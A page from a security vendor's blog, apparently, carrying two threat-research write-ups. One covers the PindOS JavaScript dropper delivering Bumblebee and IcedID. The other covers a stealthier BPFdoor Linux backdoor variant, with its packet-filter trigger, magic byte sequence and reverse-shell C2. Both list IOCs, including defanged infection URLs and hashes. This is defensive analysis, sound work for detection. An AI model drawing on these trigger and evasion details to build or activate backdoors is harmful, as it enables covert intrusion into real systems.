di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Explore Deep Instinct DSX

Prevent Zero-Day Attacks

Real-Time Malicious Verdicts

Real-Time Explainability

Lower TCO

Ensure Privacy & Compliance

Deep Instinct DSX

Cloud

Applications

Endpoints

Use Cases

Asset Library

Blog

Videos

Events & Webinars

Resources

About Deep Instinct

Our Customers

Newsroom

Careers

Contact Us

Company

Request Demo

Customer Portal

Integrations and Compliance

Training

Quick Links

Discover how our revolutionary deep learning-powered solution prevents and explains unknown, never-before-seen threats.

explore deep instinct dsx

why dsx

Prevent zero-day attacks

Detect and prevent threats in <20ms, faster than the blink of an eye.

real-time malicious verdicts

Gain actionable, AI-driven intelligence on zero-day threats in seconds.

Real-Time Insights & Explainability

Reduce cybersecurity costs with efficient, high-performance threat prevention.

Enhance data protection while meeting stringent privacy and regulatory requirements.

DEPLOYMENT

Secure your multi-cloud or hybrid infrastructure against zero-day threats.

CLOUD

Safeguard critical data on Network-Attached Storage systems from advanced cyber threats.

Defend SaaS and custom applications from zero-day vulnerabilities and threats.

APPLICATIONS

Protect devices and endpoints with AI-driven threat prevention.

ENDPOINTS

EXPLORE 

Threat Research

Voice Of SecOps

COMPARE

Deep Instinct complements Microsoft Defender with advanced threat prevention to stop threats before they enter your environment.

+ Microsoft Defender

Deep Instinct and Tanium deliver prevention-first endpoint security to reduce risk and boost productivity.

+ Tanium

EDR is not enough — enhance existing cybersecurity tools with advanced, real-time threat prevention using deep learning to produce defense in depth.

EXTEND/ENHANCE LEGACY AV

Replace outdated, legacy AV solutions with prevention-first, deep-learning-based protection purpose-built for cybersecurity.

REPLACE LEGACY AV

Faster and more accurate – Deep Instinct safeguards your data and protects your NAS storage better than Trellix.

REPLACE TRELLIX

Leadership Team

Board of Directors

Partners

Login

content_block

Perspective & Findings

<h4>Don’t Let Application File Uploads Become Malware Downloads</h4>

file-upload-security-blog.jpg

Recent Blog Posts

Listing preview

Perspective & Findings

image_media_card

Recent Blog Posts

listing_preview

BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game

Who is the only NEW vendor in the 2022 Gartner® Magic Quadrant™ for Endpoint Protection Platforms?

ChatGPT and Malware: Making Your Malicious Wishes Come True

Top-3 Drawbacks of Content Disarm + Reconstruction (CDR) for Malware Prevention

LSASS Memory Dumps are Stealthier than Ever Before

LSASS memory dumps

Trending at Deep Instinct

carousel_cards

pindos-js-dropper-blog.jpg

Deep Instinct’s Threat Research Lab recently noticed a new strain of a JavaScript-based dropper that is delivering Bumblebee and IcedID. The dropper contains comments in Russian and employs the unique user-agent string “PindOS”, which may be a <a href="https://en.wikipedia.org/wiki/Anti-American_sentiment_in_Russia#Pindos" target="_blank">reference</a> to current (and past) anti-American sentiment in Russia.Bumblebee is a malware loader first discovered in March 2022. It was associated with <a href="https://info.deepinstinct.com/conti-leaks-cyber-threat-reports" target="_self">Conti group</a> and was being used as a replacement for BazarLoader. It acts as a primary vector for multiple types of other malware, including ransomware.IcedID is a modular banking malware designed to steal financial information. It has been seen in the wild since at least 2017 and has recently been <a href="https://www.bleepingcomputer.com/news/security/new-icedid-variants-shift-from-bank-fraud-to-malware-delivery/" target="_blank">observed</a> shifting some of its focus to malware delivery.<h5>Bumblebee’s Dilemma – PowerShell or JavaScript?</h5><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltac10f75989680347" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltac10f75989680347/6493347d48e15a005746c1ff/fig00-bumble_meme.jpg" style="text-align: center;"/></figure>Bumblebee’s primary modus operandi, including its most recent <a href="https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads" target="_blank">major campaign</a>, involves a PowerShell-based first stage with very characteristic obfuscation (“elemXXX”). This serves as a wrapper and loading routine for an embedded 64-bit payload .DLL. Our analysis of this flow can be found <a href="/blog/the-dark-side-of-bumblebee-malware-loader" target="_self">here</a>.The possible switch to JavaScript instead of PowerShell marks a significant change in Bumblebee’s well-established TTP’s.<h5>IcedID – From Banker to Loader?</h5>As recent reports indicate, IcedID appears to be partially following in Emotet’s footsteps and may be abandoning its banking and financial functionalities in favor of becoming a more generalized loader-type malware. An association with a new JavaScript type of dropper can be seen as another step in this direction.<h5>PindOS JavaScript Technical Analysis</h5>Once de-obfuscated, the dropper is surprisingly simple. It consists of a single function, “exec,” which gets four parameters:<ul><li>“UserAgent” – The user-agent string to be used when downloading Bumblebee’s .DLL</li><li>“URL1” – First address to download from</li><li>“URL2” – Second address to download from</li><li>“RunDLL” – Payload .DLL exported function to call</li></ul>When executed, the dropper will attempt to download the payload initially from URL1 and execute it by calling on the specified export directly via rundll32.exe. If this fails, the dropper will attempt to download the payload from URL2 and execute it using a combination of PowerShell and rundll32.exe.The downloaded payload is saved to %appdata%/Microsoft/Templates/&lt;6-char-random-number&gt;.dat<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt310d8e627d3469ad" alt="Figure 1 – PindOS' main function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt310d8e627d3469ad/6493347db9a076b80b92866c/fig01-pindos-main-function.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 1 – PindOS' main function</figcaption></figure>The function is then called twice, with four separate URLs:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt94b88382eb4426e4" alt="Figure 2 – exec function call from Bumblebee dropper" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt94b88382eb4426e4/6493347dd5b9a5988d6de2e6/fig02-exec-function-call-from-bumblebee-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 2 – exec function call from Bumblebee dropper</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt2ccea6ece70d6aef" alt="Figure 3 – exec function call from IcedID dropper" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ccea6ece70d6aef/6493347d1fb2d3643c496f99/fig03-exec-call-from-icedid-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 3 – exec function call from IcedID dropper</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltf4668bbd24eb05b8" alt="Figure 4 – Payload download" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4668bbd24eb05b8/6493347df7411b69d437e201/fig04-payload-download.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 4 – Payload download</figcaption></figure>The retrieved payloads are generated pseudo-randomly “on-demand” which results in a new sample hash each time a payload is fetched. This is commonly done to avoid signature-based detection. However, in Bumblebee’s case, this seems somewhat ineffective compared to the previous flow (which did not write the payload directly to disk), as the samples are fairly <a href="https://www.virustotal.com/gui/file/28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523/detection/f-28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523-1686560298" target="_blank">well detected</a> even on “first-seen”. This is likely due to the generated payload’s exports and several other indicators which remain constant and do not vary across the different generated samples.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt9a6ab350a777b88a" alt="Figure 5 – A generalized comparison of Bumblebee’s infection flows - “older” on the right; “newer” on the left." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a6ab350a777b88a/64933d2de66699a1d52eb992/fig05-a-generalized-comparison-of-bumblebees-infection-flows.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 5 – A generalized comparison of Bumblebee’s infection flows - “older” on the right; “newer” on the left.</figcaption></figure>According to Virus Total, on “first-seen” PindOS droppers have mostly received very low detection rates:<img asset_uid="blt5a182e8e00749668" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5a182e8e00749668/64933d2d1fb2d36df6496fcb/fig06-vt-first-seen-detection-pindos-virus.png"/><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt6e2212907fb50273" alt="Figures 6 & 7 – VT first-seen detection for PindOS droppers" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e2212907fb50273/64933d2d48a8ff009c477fde/fig07-vt-first-seen-detection-pindos-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figures 6 &amp; 7 – VT first-seen detection for PindOS droppers</figcaption></figure><h5>Bumblebee DLL Payload Analysis Highlights</h5>The DLL payload is slightly different from the one previously encountered. Dynamically, it is very similar, with the addition of a few layers of obfuscation. It’s anti-debugging and anti-VM/sandbox features remain the same but with some additional “legitimate looking” strings taken from the <a href="https://github.com/FFmpeg/FFmpeg/blob/1617d1a752d5e97d5e74f6c384609c027c884553/libavutil/error.c" target="_blank">FFmpeg project open-source</a> project’s “error.c” file and a few other files from the same project added for distraction purposes:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt64d2e5ce682d4b38" alt="Figure 8 – Strings found in Bumblebee DLL" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt64d2e5ce682d4b38/6493347d9601bc69e508214d/fig08-strings-found-in-bumblebee-dll.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 8 – Strings found in Bumblebee DLL</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltff29e3f9d11aa98a" alt="Figure 9 – FFmpeg project source, “error.c” file." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltff29e3f9d11aa98a/6493347dea50bc3ffabea7f4/fig09-ffmpeg-project-source-error.c-file.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 9 – FFmpeg project source, “error.c” file.</figcaption></figure>Another point of differentiation is that previously Bumblebee DLLs had two main export functions, while the new one has four.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt3c905274f728fa88" alt="Figure 10 – “New” Bumblebee DLL Exports" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3c905274f728fa88/6493347dd2420473b31cd636/fig10-new-bumblebee-dll-exports.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 10 – “New” Bumblebee DLL Exports</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltcb5ad0e83176edf1" alt="Figure 11 – “Old” Bumblebee DLL exports, with main “SetPath” function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcb5ad0e83176edf1/6493347d75c2ae82940617e7/fig11-old-bumblebee-dll-exports-with-main-setpath-function.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 11 – “Old” Bumblebee DLL exports, with main “SetPath” function</figcaption></figure>Further examination of the DLL brings us to the same main function as the previous variant.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltec80d5d7fc0f0819" alt="Figure 12 – “SetPath” in the “new” Bumblebee DLL." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltec80d5d7fc0f0819/6493347ee6669913502eb96f/fig12-setpath-in-the-new-bumblebee-dll.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 12 – “SetPath” in the “new” Bumblebee DLL.</figcaption></figure><h5>Conclusion</h5>Bumblebee’s latest “experiment” attempts to leverage pseudo-random sample generation as a means of reducing the risk of detection. This has been used by threat actors in the financial/banking malware landscape for years, including IcedID, which “shares” the PindOS dropper.Whether PindOS is permanently adopted by the actors behind Bumblebee and IcedID remains to be seen. If this “experiment” is successful for each of these "companion” malware operators it may become a permanent tool in their arsenal and gain popularity among other threat actors.As Bumblebee and <a href="https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/" target="_blank">IcedID</a> are known to deliver ransomware, we recommend that security teams take note of these IOCs. You can find updated lists of IOCs on our <a href="https://github.com/deepinstinct/PindOS-JS-Dropper" target="_blank">GitHub page</a>.<h5>IOCs</h5><ul><li>Network Artifact User-Agent: PindOS</li><li>Bumblebee infection URLs hxxps://qaswrahc.com/wp-content/out/mn[.]php hxxp://tusaceitesesenciales.com/mn[.]php hxxp://carwashdenham.com/mn[.]php hxxps://intellectproactive.com/dist/out/mn[.]php</li><li>Bumblebee .JS dropper SHA256 bcd9b7d4ca83e96704e00e378728db06291e8e2b50d68db22efd1f8974d1ca91 07d2cb0dc0cd353fb210b065733743078e79c4a27c42872cd516a6b1fb1f00d1 00ec8f3900336c7aeb31fef4d111ee6e33f12ad451bc5119d3e50ad80b2212b0 15da5b0a65dd8135273124da0c6e52e017e3b54642f87571e82d2314aae97eec 180a935383b39501c7bdf2745b3a334841f01a7df9d063fecca587b5cc3f5e7a</li><li>Bumblebee DLL payload SHA256 24dd5c33b8a5136bdf29d0c07cf56ef0e33a285bb12696a8ff65e4065cb18359 76c9780256e195901e1c09cb8a37fb5967f9f5b36564e380e7cf2558652f875b 28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523 ac261ac26221505798c65c61a207f3951cc7dce2e1014409d8a765d85bfd91d4</li><li>IcedID infection URLs hxxps://masar-alulaedu.com/wp-content/woocommerce/out/berr[.]php hxxps://egyfruitcorner.com/wp-content/tareq/out/berr[.]php hxxps://tech21africa.com/wp-content/uploads/out/berr[.]php hxxps://www.posao-austrija.at/images/out/lim[.]php hxxps://logisticavirtual.org/wp-content/out/lim[.]php hxxps://adecoco.us/wp-content/out/lim[.]php hxxps://acsdxb.net/wp-content/out/lim[.]php</li><li>IcedID .JS dropper SHA256 92506fe773db7472e7782dbb5403548323e65a9eb2e4c15f9ac65ee6c4bd908b c84c84387f0b9e7bc575a008f36919448b4e6645e1f5d054e20b59be726ee814 7355656f894ae26215f979b953c8fa237dc39af857a6b27754a93adb1823f3b6 8f40ff286419eb4b0c4d15710dc552afb2c2a227a180f4b4f520d09b05724151</li><li>IcedID DLL payload SHA256 9101975f7aca998da796fc15a63b36ab8aa0fe0aed0b186aaed06a3383d5f226 4f0c9c6fc1287ef16f4683db90dd677054a1f834594494d61d765fa3f2e1352c cb307d7fa6eaac6a975ad64ff966ff6b0b0fdd59109246c2f6f5e8d50a33e93c 361b0157ef63d362fdd4399288f5f6a0e1536633dfb49c808a3590718c4d8f10 e71c9ac9ddd55b485e636840da150db5cd2791d0681123457bd40623acd8311c 8ae3be9f09f5fc64ec898a4d6467b2f6e50eaaa26fc460a4f1a9b9566e97a9a7</li></ul><h5>MITRE ATT&amp;CK</h5><table><thead><tr><th style="width: 13%;">Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Execution</td><td>Command and Scripting Interpreter: JavaScript – T1059.007</td><td>Adversaries may abuse various implementations of JavaScript for execution.</td><td>.JS Droppers</td></tr><tr><td>Defense Evasion</td><td>System Binary Proxy Execution: Rundll32 – T1218.001</td><td>Adversaries may abuse rundll32.exe to proxy execution of malicious code.</td><td>Rundll32.exe usage</td></tr><tr><td>Defense Evasion</td><td>Obfuscated Files or Information – T1027</td><td>Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.</td><td>Obfuscated JS, “Random” generated payloads</td></tr></tbody></table>

PindOS: New JavaScript Dropper Delivering Bumblebee and IcedID

blog-image-bpfdoor-malware.jpg

<h5>What is BPFdoor?</h5>BPFdoor is a Linux-specific, low-profile, passive backdoor intended to maintain a persistent, long-term foothold in already-breached networks and environments and functions primarily to ensure an attacker can re-enter an infected system over an extended period of time, post-compromise.The malware gets its name from its usage of a <a href="https://en.wikipedia.org/wiki/Berkeley_Packet_Filter" target="_blank">Berkley Packet Filter</a> – a fairly unique way of receiving its instructions and evading detection, which bypasses firewall restrictions on incoming traffic.The malware is associated with a Chinese threat actor, Red Menshen (AKA Red Dev 18), which has been observed targeting telecommunications providers across the Middle East and Asia, as well as entities in the government, education, and logistics sectors since 2021.When it was first discovered, approximately one year ago, BPFdoor was noted for its effective and elegant design and its high emphasis on stealth – an essential element in maintaining undetected long-term persistence.Recently, Deep Instinct’s threat lab observed and analyzed a previously undocumented and fully undetected new variant of BPFdoor.<h5>New, Stealthier Variant</h5>Several key differences that make this new variant even stealthier compared to the previous version include the following:<table class="text-center"><thead class="bg-grey"><tr><th style="width: 24%;">&nbsp;</th><th style="width: 38%;">“New stealthy” 2023 variant</th><th>“Old” 2022 variant</th></tr></thead><tbody><tr><td>Encryption</td><td>Static library encryption</td><td>RC4 Encryption</td></tr><tr><td>Communication</td><td>Reverse-Shell</td><td>Bind shell and iptables</td></tr><tr><td>Commands</td><td>No hardcoded commands – all commands are sent through the reverse-shell</td><td>Hardcoded commands</td></tr><tr><td>Filenames</td><td>Not hardcoded</td><td>Hardcoded</td></tr></tbody></table>One of the most significant differences compared to the previous variant lies in the removal of many of its hardcoded indicators, making the newer version more difficult to detect. Since first seen on VirusTotal in February 2023, the new variant remained undetected and is still undetected as of this writing.<h5>BPFdoor Technical Analysis</h5>When executed, the BPFdoor sample will attempt to create and get a lock on a runtime file at “/var/run/initd.lock” and will exit if it fails using that file as a makeshift mutex.<figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt6b1f7a605acf0d71" alt="Figure 1 - BPFdoor " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6b1f7a605acf0d71/645bce382f97ad6087afc2a7/fig01-lock-mutex.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 1 - BPFdoor "mutex" check</figcaption></figure></figure>If successful, BPFdoor will fork itself and continue to run as a child process and in this context will close its stdin, stdout, and stderr streams, and set itself to ignore the following operating system signals:<table class="text-center"><thead class="bg-grey"><tr><th style="width: 16%;">Signal Number</th><th style="width: 21%;">Signal Name</th><th>Signal Description</th></tr></thead><tbody><tr><td>1</td><td>SIGHUP</td><td>SIGHUP ("signal hang-up") is a signal sent to a process when its controlling terminal session is closed.</td></tr><tr><td>2</td><td>SIGINT</td><td>SIGINT (“signal interrupt”) is a signal sent when a user interrupts a program (Ctrl + C)</td></tr><tr><td>3</td><td>SIGQUIT</td><td>SIGQUIT is a signal sent to terminate a process.</td></tr><tr><td>13</td><td>SIGPIPE</td><td>SIGPIPE is a signal sent when a pipe breaks.</td></tr><tr><td>17</td><td>SIGCHLD</td><td>SIGCHLD is a signal sent when a child process exits.</td></tr><tr><td>21</td><td>SIGTTIN</td><td>SIGTTIN is a signal sent to a process attempting to read from the same terminal session and is blocked.</td></tr><tr><td>23</td><td>SIGTTOU</td><td>SIGTTOU is a signal sent to a process attempting to write to the same terminal session and is blocked.</td></tr></tbody></table>Ignoring these signals hardens BPFdoor against tampering with its processes.Having set up the above, BPFdoor then allocates a memory buffer and creates a socket as follows:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltb66f26dd618af2fe" alt="Figure 2 - Socket arguments" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb66f26dd618af2fe/645bce386d595aca93fa2ebf/fig02-socket-args.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 2 - Socket arguments</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blte9215556a7459197" alt="Figure 3 - Socket creation" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte9215556a7459197/645bce388a8445ca97101283/fig03-call-socket.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 3 - Socket creation</figcaption></figure>It will proceed to specify the following socket options using setsockopt:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltff07360ec7be9930" alt="Figure 4 - Setsockopt options" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltff07360ec7be9930/645bce388dbb82c3c233f5f4/fig04-setsockopts.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 4 - Setsockopt options</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt0e81a161934c6431" alt="Figure 5 - Call to setsockopt" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0e81a161934c6431/645bce38e4e69e5cbc037449/fig05-call-setsockopts.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 5 - Call to setsockopt</figcaption></figure>And will read from it in a loop (further described below) using recvfrom:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt7a59c922701ee083" alt="Figure 6 - Recvfrom arguments" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7a59c922701ee083/645bce38065c95739056107a/fig06-recvfrom.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 6 - Recvfrom arguments</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt811bbcab6a1bb954" alt="Figure 7 - Recvfrom call" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt811bbcab6a1bb954/645bce38367cefb5428f68a2/fig07-loop-call-recvfrom.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 7 - Recvfrom call</figcaption></figure>An interesting point in the above-described flow is that the “addr” parameter is zeroed out in the call to recvfrom; it should point to a specific address from which to read data. The socket is not connected and no bind or listen calls have been made. So, what exactly is going on here?Interpreting the exact arguments that are used to create the socket reveals that the call is structured as follows:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt36f6534323294019" alt="Figure 8 - Socket call" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt36f6534323294019/645bce38367cefe17b8f689e/fig08-socket_eth.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 8 - Socket call</figcaption></figure>This creates the socket as a special packet sniffing socket which is able to read every packet that is sent to the machine from the ethernet layer and above without being bound to any specific protocol.BPFdoor employs this type of packet sniffing socket to read data with recvfrom, even without an “addr” parameter, by using the loop below to search for a specific “magic” byte sequence:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltf3c3312b0751a812" alt="Figure 9 - Looped search for " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf3c3312b0751a812/645bce388929af83080777c5/fig09-read-loop.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 9 - Looped search for "magic" byte sequence (highlighted)</figcaption></figure>“Magic” byte sequence: \x44\x30\xCD\x9F\x5E\x14\x27\x66Once found, the loop will break and BPFdoor will continue to Its next phase of operation.But, that creates quite a lot of traffic that BPFdoor will need to go through.Let’s examine the usage of setsockopt a bit further. When parsing its arguments, we arrive at the following code:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt734c1601420f27c9" alt="Figure 10 - Setsockopt attaches BPF" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt734c1601420f27c9/645bce4b7e7e7b9bafe70a08/fig10-setsockopt-args.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 10 - Setsockopt attaches BPF</figcaption></figure>This is where BPFdoor gets its name from. The above code that attaches a <a href="https://en.wikipedia.org/wiki/Berkeley_Packet_Filter" target="_blank">Berkley Packet Filter</a> to the socket; this is the very same mechanism that underpins infosec staples such as libpcap and allows BPFdoor to filter out “uninteresting” types of data coming through its socket.A Berkley Packet Filter can be defined as in the example below, which allows TCP over IPv4:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt89210974b140db77" alt="Figure 11 - BPF example" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt89210974b140db77/645bce4b065c95264056107e/fig11-bpf-example.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 11 - BPF example</figcaption></figure>By setting the socket option SO_ATTACH_FILTER and pointing filter to the following sock_filter_code:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt3a9b0cf5b5fbc758" alt="Figure 12 - BPF sock_filter_code" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3a9b0cf5b5fbc758/645bce4b1f0a4c5876e36beb/fig12-sock-filter-codev3.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 12 - BPF sock_filter_code</figcaption></figure>BPFdoor guides the kernel to set up its socket to only read UDP, TCP, and SCTP traffic coming through ports 22 (ssh), 80 (http), and 443 (https).Because of its positioning at such a low level, BPFdoor does not abide by any firewall rules, and can bypass any firewall restrictions on incoming traffic and listen for packets that otherwise wouldn't have surfaced to the machine's user mode.When BPFdoor finds a packet containing its “magic” bytes in the filtered traffic it will treat it as a message from its operator and will parse out two fields and will again fork itself.The parent process will continue and monitor the filtered traffic coming through the socket while the child will treat the previously parsed fields as a Command & Control IP-Port combination and will attempt to contact it.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt59a3decfdb9a8b40" alt="Figure 13 - Connect to Command & Control" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt59a3decfdb9a8b40/645bce4b8a84453a7a101287/fig13-connect-c2.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 13 - Connect to Command & Control</figcaption></figure>An interesting point to note, this variant of BPFdoor contains a pre-compiled version of <a href="https://github.com/libtom/libtomcrypt" target="_blank">libtomcrypt</a>, an open-source encryption library, as can be seen in the sample’s contained strings, which also offer a few additional insights:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt8e6c0a33246bf7b3" alt="Figure 14 - Contained strings" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8e6c0a33246bf7b3/645bce4b291ca448ab7458bf/fig14-libtom-strings.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 14 - Contained strings</figcaption></figure>We can see that the library was compiled at the beginning of October 2022 using GCC on a system running Red Hat Linux. This may suggest that this variant has been operational significantly earlier than its first appearance on VirusTotal.By compiling our own version of the library in similar fashion and using bindiff to compare against BPFdoor we can see its statically linked exports:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt816a0cb45cfa1a28" alt="Figure 15 - Libtomcrypt bindiff snippet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt816a0cb45cfa1a28/645bce4b2f97ad7a76afc2ab/fig15-libtom-bindiff.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 15 - Libtomcrypt bindiff snippet</figcaption></figure>Having made the comparison, we determined that BPFdoor is using libtomcrypt functionality to set up a secure and encrypted “reverse-shell” session with its Command & Control. This replaced its previous mechanism.After this session is established, BPFdoor will begin a loop that can be described by the following:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltb2ff1c169f93cb84" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb2ff1c169f93cb84/645bce3822f9986ff5c5974b/BPFDOORv2Flow.png" style="text-align: center;"/></figure><h5>Conclusion</h5>BPFdoor retains its reputation as an extremely stealthy and difficult-to-detect malware with this latest iteration.Regardless of whether one considers the encryption library compilation time (October 2022) or its initial submission to VirusTotal (February 2023) as indicative of when this sample was first put into use, it is truly amazing how long it has remained fully undetected.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt93ffef0dee975742" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt93ffef0dee975742/645d25159c40aa50cb074137/fig16-vt-0detectionv3.png" style="text-align: center;"/></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt940800074dbf8141" alt="Figure 16 & 17 - 0 VirusTotal detections, 7 different scans." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt940800074dbf8141/645bce4b32acc8af715ee19b/fig17-vt-many-scans.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 16 & 17 - 0 VirusTotal detections, 7 different scans.</figcaption></figure><h5>IOCs</h5>afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7 – BPFDoor ELF SHA256 /var/run/initd.lock – BPFDoor "mutex”<h5>MITRE ATT&CK:</h5><table class="text-center"><thead class="bg-grey"><tr><th style="width: 20%;">Tactic</th><th>Technique</th><th>Description</th><th style="width: 20%;">Observable</th></tr></thead><tbody><tr><td>Command and Control Defense Evasion Persistence</td><td>T1205 - Traffic Signaling</td><td>Attacker employs “magic” values to trigger response.</td><td>“Magic” byte sequence</td></tr><tr><td>Command and Control Defense Evasion Persistence</td><td>T1205.002 - Traffic Signaling: Socket Filters</td><td>Attacker attaches filter to a network socket.</td><td>Usage of Berkley Packet Filter</td></tr><tr><td>Command and Control</td><td>T1573 